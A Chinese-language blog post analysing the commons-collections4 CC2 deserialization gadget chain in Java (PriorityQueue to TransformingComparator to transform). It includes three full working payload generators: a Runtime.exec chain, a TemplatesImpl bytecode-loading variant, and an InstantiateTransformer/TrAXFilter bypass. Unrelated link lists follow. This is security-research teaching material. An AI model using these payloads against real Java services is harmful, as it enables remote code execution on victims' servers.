浅谈commons-collections4链
浅谈commons-collections4链
commons-collections4的背景:
由于commons-collections (3.x) 在架构设计和 API 上暴露出一些问题(例如接口设计不够清晰、某些实现不够高效或灵活)。然而,修复这些问题需要进行大量不兼容的改动。官方认识到,进行必要的架构改进会导致新版本 无法与老版本 (3.x) 保持二进制或源代码兼容。强行作为 3.x 的直接升级版 (commons-collections 4.0) 发布,会破坏无数依赖老版本 API 的现有项目。因此将包含重大改进但不兼容的版本作为一个全新的项目分支发布,而不是作为老项目的延续;
也就是说commons-collections4版本不是commons-collections3版本的升级,而是作为新的项目发布
因此
在这个区别上存在两个分支版本commons-collections
commons-collections:commons-collections
org.apache.commons:commons-collections4
那么很⾃然有个问题,既然3.2.1中存在反序列化利⽤链,那么4.0版本是否存在呢?
事实上,commons-collections4和commons-collections3 内涵其实是差不多的,只是用法上存在差异与存在一些不一样的类;
比如说同样是cc6;在commons-collections4
我们在引入commons-collections4的包后发现
LazyMap.decorate报错;在之前的decorate中他的作用是返回一个LazyMap对象


我们查看LazyMap源码发现
他从之前的decorate返回对象变成了LazyMap返回对象了;

但他的其他调用链却没有什么太大的变化

我们尝试把decorate改成LazyMap,发现仍然可以正常弹出计算器;

在cc1,cc3都可以兼容在commons collections4使用
那这有什么意义呢
反序列化的核心在于transform函数的invoke反射调用;导致的任意代码执行;commons-collections3和commons-collections4不都是一样的吗?
我认为应该这样想多一个版本不就多几条链了吗,可以看到在代码有些部分虽然有些细微差别,但源码大多一致,有时候可以达到兼容的效果;组合起来不就又多几条链了吗;
下面我来介绍一下ysoserial中的cc2和cc4中的PriorityQueue利⽤链
PriorityQueue(优先队列)是 Java 集合框架中的一种特殊队列实现,基于优先级堆(通常是最小堆)实现。其核心特点是:
- 元素按优先级排序出队(默认自然顺序)
- 不是先进先出(FIFO),而是按优先级高低出队
- 底层使用数组存储二叉堆结构
既然同为cc链系列,他们的思路其实都是一致的,都是通过transform函数实现的任意代码执行;攻击路径都是从一个readobject触发点出发到transform函数的方法调用链;过程仍然形象化为 如下图的"拼接过程"
readobject
->...
->..
->transform
下面我们来具体分析PriorityQueue链
老规矩,还是先找transform函数
在TransformingComparator的compare方法中我们看到它调用了transform函数
public int compare(I obj1, I obj2) {
O value1 = (O)this.transformer.transform(obj1);
O value2 = (O)this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}

再回到PriorityQueue的readobject方法,发现调用了heapify,持续跟进下去就会发现调用了comparator.compare方法,我们只需要让
comparator=TransformingComparator即可
readobject 调用 heapify

heapify调用 siftDown

siftDown调用siftDownUsingComparator

siftDownUsingComparator调用comparator.compare方法

所以调用链
PriorityQueue->readobject
->heapify
->siftDown
->siftDownUsingComparator
->comparator.compare
->TransformingComparator->compare
->transformer
可以看到链子中使用了siftDown()函数,作用是顶部元素向下比较交换,直到满足堆条件;⽽ comparator.compare() ⽤来⽐较两个元素⼤⼩
TransformingComparator对象(实现了 java.util.Comparator 接⼝,这个接⼝⽤于定义两个对象如何进⾏⽐较;siftDownUsingComparator() 中就使⽤这个接⼝的 compare() ⽅法⽐较树的节点。)倘若比较comparator可控;我们就可以实现传入TransformingComparator对象进行"恶意比较"
在其构造函数中我们发现传进去的comparator=this.comparator,所以只需要
new PriorityQueue<Object>(2,new TransformingComparator(transformer)); //即可

所以构造payload
Comparator cmp = new TransformingComparator(transformerchains);//载荷
PriorityQueue queue=new PriorityQueue(2,cmp);//触发器
payload如下
package org.com.cc;
//import org.apache.commons.collections.Transformer;
//import org.apache.commons.collections.functors.ChainedTransformer;
//import org.apache.commons.collections.functors.ConstantTransformer;
//import org.apache.commons.collections.functors.InvokerTransformer;
//import org.apache.commons.collections.keyvalue.TiedMapEntry;
//import org.apache.commons.collections.map.LazyMap;
//import org.apache.commons.collections.map.TransformedMap;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.lang.SerializationUtils;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import org.apache.commons.collections4.map.LazyMap;
import org.apache.commons.collections4.map.TransformedMap;
import org.apache.commons.collections4.Transformer;
import java.io.Serializable;
import java.lang.annotation.*;
import java.lang.reflect.Field;
import java.util.*;
import java.util.Map;
import java.util.HashMap;
public class CommonCollections2 {
public static void main(String[] args) throws Exception {
Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)
};
Transformer[] Transformers = new Transformer[]{
// new ConstantTransformer(1), // 反射调用Runtime.getRuntime()
new ConstantTransformer(Runtime.class), // 反射调用Runtime.class
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc.exe"}), // 反射调用exec函数
new ConstantTransformer(1)
};
Transformer transformerchains = new ChainedTransformer(fakeTransformers);
Comparator cmp = new TransformingComparator(transformerchains);
PriorityQueue queue=new PriorityQueue(2,cmp);
queue.add(1); //这个地方是由于需要触发排序与比较,至少要两个元素才能进行排序与比较
queue.add(2);
setFieldValue(transformerchains, "iTransformers", Transformers);
//序列化
byte[] exp=SerializationUtils.serialize((Serializable) queue);
// aesCipherService aes=new aesCipherService();
;
//反序列化
SerializationUtils.deserialize(exp);
}
private static void setFieldValue(Object obj, String fieldName, Object value)
throws Exception {
Class<?> clazz = obj.getClass();
Field field = null;
// 循环查找字段(包括父类)
while (clazz != null) {
try {
field = clazz.getDeclaredField(fieldName);
break;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
if (field == null) {
throw new NoSuchFieldException(fieldName);
}
field.setAccessible(true);
field.set(obj, value);
}
}

结合上一篇文章我们尝试构造无数组形式的payload与绕过InvokerTransformer
无数组payload
package org.com.cc;
//import org.apache.commons.collections.Transformer;
//import org.apache.commons.collections.functors.ChainedTransformer;
//import org.apache.commons.collections.functors.ConstantTransformer;
//import org.apache.commons.collections.functors.InvokerTransformer;
//import org.apache.commons.collections.keyvalue.TiedMapEntry;
//import org.apache.commons.collections.map.LazyMap;
//import org.apache.commons.collections.map.TransformedMap;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.lang.SerializationUtils;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import org.apache.commons.collections4.map.LazyMap;
import org.apache.commons.collections4.map.TransformedMap;
import org.apache.commons.collections4.Transformer;
import javax.xml.transform.Templates;
import java.io.Serializable;
import java.lang.annotation.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.*;
import java.util.Map;
import java.util.HashMap;
public class CommonCollections2 {
public static void main(String[] args) throws Exception {
/* Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)
};
Transformer[] Transformers = new Transformer[]{
// new ConstantTransformer(1), // 反射调用Runtime.getRuntime()
new ConstantTransformer(Runtime.class), // 反射调用Runtime.class
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc.exe"}), // 反射调用exec函数
new ConstantTransformer(1)
};*/
byte[] code= Files.readAllBytes(Paths.get("E:\\java学习\\cc1\\src\\main\\java\\org\\com\\cc\\evil.class"));
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{code});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
Transformer transformer = new InvokerTransformer("toString", null, null);
Comparator cmp = new TransformingComparator(transformer);
PriorityQueue queue=new PriorityQueue(2,cmp);
queue.add(obj);
queue.add(obj);
setFieldValue(transformer, "iMethodName", "newTransformer");
//setFieldValue(transformerchains, "iTransformers", Transformers);
//序列化
byte[] exp=SerializationUtils.serialize((Serializable) queue);
// aesCipherService aes=new aesCipherService();
;
//反序列化
SerializationUtils.deserialize(exp);
}
private static void setFieldValue(Object obj, String fieldName, Object value)
throws Exception {
Class<?> clazz = obj.getClass();
Field field = null;
// 循环查找字段(包括父类)
while (clazz != null) {
try {
field = clazz.getDeclaredField(fieldName);
break;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
if (field == null) {
throw new NoSuchFieldException(fieldName);
}
field.setAccessible(true);
field.set(obj, value);
}
}

增加绕过 InvokerTransformer payload
package org.com.cc;
//import org.apache.commons.collections.Transformer;
//import org.apache.commons.collections.functors.ChainedTransformer;
//import org.apache.commons.collections.functors.ConstantTransformer;
//import org.apache.commons.collections.functors.InvokerTransformer;
//import org.apache.commons.collections.keyvalue.TiedMapEntry;
//import org.apache.commons.collections.map.LazyMap;
//import org.apache.commons.collections.map.TransformedMap;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.lang.SerializationUtils;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import org.apache.commons.collections4.map.LazyMap;
import org.apache.commons.collections4.map.TransformedMap;
import org.apache.commons.collections4.Transformer;
import javax.xml.transform.Templates;
import java.io.Serializable;
import java.lang.annotation.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.*;
import java.util.Map;
import java.util.HashMap;
public class CommonCollections2 {
public static void main(String[] args) throws Exception {
/* Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)
};
Transformer[] Transformers = new Transformer[]{
// new ConstantTransformer(1), // 反射调用Runtime.getRuntime()
new ConstantTransformer(Runtime.class), // 反射调用Runtime.class
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc.exe"}), // 反射调用exec函数
new ConstantTransformer(1)
};*/
byte[] code= Files.readAllBytes(Paths.get("E:\\java学习\\cc1\\src\\main\\java\\org\\com\\cc\\evil.class"));
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{code});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
// 初始化一个无害的 InstantiateTransformer,使用String.class和空字符串
Transformer transformer = new InstantiateTransformer(
new Class[]{String.class}, // 参数类型数组
new Object[]{""} // 参数值数组
);
Comparator cmp = new TransformingComparator(transformer);
PriorityQueue queue=new PriorityQueue(2,cmp);
// 通过反射修改队列内部数组,直接放入两个TrAXFilter.class
Object[] queueArray = new Object[]{TrAXFilter.class, TrAXFilter.class};
setFieldValue(queue, "queue", queueArray);
setFieldValue(queue, "size", 2);
// setFieldValue(queue, "key", TrAXFilter.class);
setFieldValue(transformer, "iParamTypes", new Class[]{Templates.class});
setFieldValue(transformer, "iArgs", new Object[]{obj});
//setFieldValue(transformerchains, "iTransformers", Transformers);
//序列化
byte[] exp=SerializationUtils.serialize((Serializable) queue);
// aesCipherService aes=new aesCipherService();
;
//反序列化
SerializationUtils.deserialize(exp);
}
private static void setFieldValue(Object obj, String fieldName, Object value)
throws Exception {
Class<?> clazz = obj.getClass();
Field field = null;
// 循环查找字段(包括父类)
while (clazz != null) {
try {
field = clazz.getDeclaredField(fieldName);
break;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
if (field == null) {
throw new NoSuchFieldException(fieldName);
}
field.setAccessible(true);
field.set(obj, value);
}
}

总结:本篇文章介绍了commons-collections4的背景以及与commons-collections3的差异与兼容性,通过cc6的commons-collections4版本的兼容性解释了cc链的核心逻辑与cc2链子的分析与构造,篇末介绍了cc2的无数组加载字节码利用方式以及拓展性的 InvokerTransformer 绕过;
------------------------------------备注------------------------------
参考 p牛->知识星球->代码审计->java系列文章
浅谈commons-collections4链的更多相关文章
- 小E浅谈丨区块链治理真的是一个设计问题吗?
在2018年6月28日Zcon0论坛上,“区块链治理”这个话题掀起了大神们对未来区块链治理和区块链发展的一系列的畅想. (从左至右,分别为:Valkenburgh,Zooko,Jill, Vitali ...
- 浅谈javascript的原型及原型链
浅谈javascript的原型及原型链 这里,我们列出原型的几个概念,如下: prototype属性 [[prototype]] __proto__ prototype属性 只要创建了一个函数,就会为 ...
- JS function 是函数也是对象, 浅谈原型链
JS function 是函数也是对象, 浅谈原型链 JS 唯一支持的继承方式是通过原型链继承, 理解好原型链非常重要, 我记录下我的理解 1. 前言 new 出来的实例有 _proto_ 属性, 并 ...
- 浅谈Angular的 $q, defer, promise
浅谈Angular的 $q, defer, promise 时间 2016-01-13 00:28:00 博客园-原创精华区 原文 http://www.cnblogs.com/big-snow/ ...
- 浅谈HTML5单页面架构(二)——backbone + requirejs + zepto + underscore
本文转载自:http://www.cnblogs.com/kenkofox/p/4648472.html 上一篇<浅谈HTML5单页面架构(一)--requirejs + angular + a ...
- 浅谈struts2之chain
转自:http://blog.csdn.net/randomnet/article/details/8656759 前一段时间,有关chain的机制着实困绕了许久.尽管网上有许多关于chain的解说, ...
- Android性能优化的浅谈
一.概要: 本文主要以Android的渲染机制.UI优化.多线程的处理.缓存处理.电量优化以及代码规范等几方面来简述Android的性能优化 二.渲染机制的优化: 大多数用户感知到的卡顿等性能问题的最 ...
- 浅谈 Linux 内核无线子系统
浅谈 Linux 内核无线子系统 本文目录 1. 全局概览 2. 模块间接口 3. 数据路径与管理路径 4. 数据包是如何被发送? 5. 谈谈管理路径 6. 数据包又是如何被接收? 7. 总结一下 L ...
- 浅谈JavaScript中的闭包
浅谈JavaScript中的闭包 在JavaScript中,闭包是指这样一个函数:它有权访问另一个函数作用域中的变量. 创建一个闭包的常用的方式:在一个函数内部创建另一个函数. 比如: functio ...
- 浅谈算法和数据结构: 七 二叉查找树 八 平衡查找树之2-3树 九 平衡查找树之红黑树 十 平衡查找树之B树
http://www.cnblogs.com/yangecnu/p/Introduce-Binary-Search-Tree.html 前文介绍了符号表的两种实现,无序链表和有序数组,无序链表在插入的 ...
随机推荐
- 告别手动敲代码!VSCODE 风格在线可视化开发平台,效率飙升!
2025 年 2 月 21 日消息,对于广大开发者而言,今天迎来一则重大利好消息!一款操作布局与 VSCODE 极为相似的可视化开发神器 --Joker 智能可视化开发平台正式上线.无论你是深耕前端领 ...
- SpringBoot集成LDAP认证登录
Maven依赖 <?xml version="1.0" encoding="UTF-8"?> <project xmlns="htt ...
- windows 本地部署DeepSeek
一:前言: 那么为什么要本地部署,主要就是企业或者个人为了数据安全和防止受限网络等其 数据安全:数据不用上传到外面,在本地处理,不用担心数据泄露,像金融.医疗这些对数据安全要求高的行业特别需要. 功能 ...
- 【硬件】认识和选购DDR4内存
2.3 认识和选购DDR4内存 内存又称为主存或内存储器,用于暂时存放CPU的运算数据和与硬盘等外部存储器交换的数据.在电脑工作过程中,CPU会把需要运算的数据调到内存中进行运算,运算完成后再将结果传 ...
- 【Java】常用类
一.String类 java.lang.String类的使用 注意:String可以String s = "";,是因为String类型在后面自动补充了'\0' char初始化不能 ...
- luogu-P5320题解
简要题意 设 \(f(n)\) 表示用多米诺骨牌恰好铺满 \(2\times n\) 的平面的方案数,\(g(n)\) 表示用多米诺骨牌恰好铺满 \(3\times n\) 的平面的方案数:设 \(F ...
- raw.githubusercontent.com 访问不了
访问 Github 中的 raw 文件内容时会跳转到 raw.githubusercontent.com 这个域名 但是访问不了. 解决办法 Windows 在 C:\Windows\System32 ...
- Springboot+MongoDB添加数据时会自带_class字段
_class字段作用 帮助映射子类,为了方便处理Pojo中存在继承的情况,增加系统的扩展性 去除_class字段 新增mongodb的配置类,配置mappingMongoConverter,配置类网上 ...
- C#实例判空
- symfony5初体验:doctrine、配置、文件上传、jwt登录/auth等常见问题
之前用symfony3.4,最近上手symfony5发现加入了很多新特性,搭配easyadminBundle.api-platform这些用起来感觉简直如有神助,瞬间爱了. 不过api-platfor ...